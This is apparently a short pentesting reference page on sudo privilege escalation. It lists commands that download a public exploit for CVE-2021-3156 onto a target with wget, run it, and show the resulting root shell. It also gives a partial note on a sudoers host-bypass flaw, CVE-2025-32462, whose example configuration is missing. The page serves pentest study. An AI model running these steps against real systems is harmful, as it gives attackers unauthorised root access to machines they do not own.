Sudo

SudoEdit

sudo < 1.9.5p2 is susceptible to a heap-based buffer overflow (CVE-2021-3156) and a PoC is available.

# Check the target's sudo version
$ sudo --version
Sudo version 1.8.31

# Download the PoC to the target
$ wget https://raw.githubusercontent.com/worawit/CVE-2021-3156/refs/heads/main/exploit_nss.py

# Assign execute permissions
$ chmod +x exploit_nss.py

# Run the exploit
$ ./exploit_nss.py
...
# id
uid=0(root) gid=0(root) groups=0(root),998(apache),1004(anita)

Host Bypass

Sudo versions < 1.9.17p1 are vulnerable to CVE-2025-32462. If the sudoers file lists a host that isn't the current machine (and isn't ALL), users could exploit that to run commands as if they were on that other host.

For example, in the below sudoers configuration:

The rule expands to...

...which evaluates to only host-2.example.local — so it permits x7331 NOPASSWD on host-2:

Last updated

Was this helpful?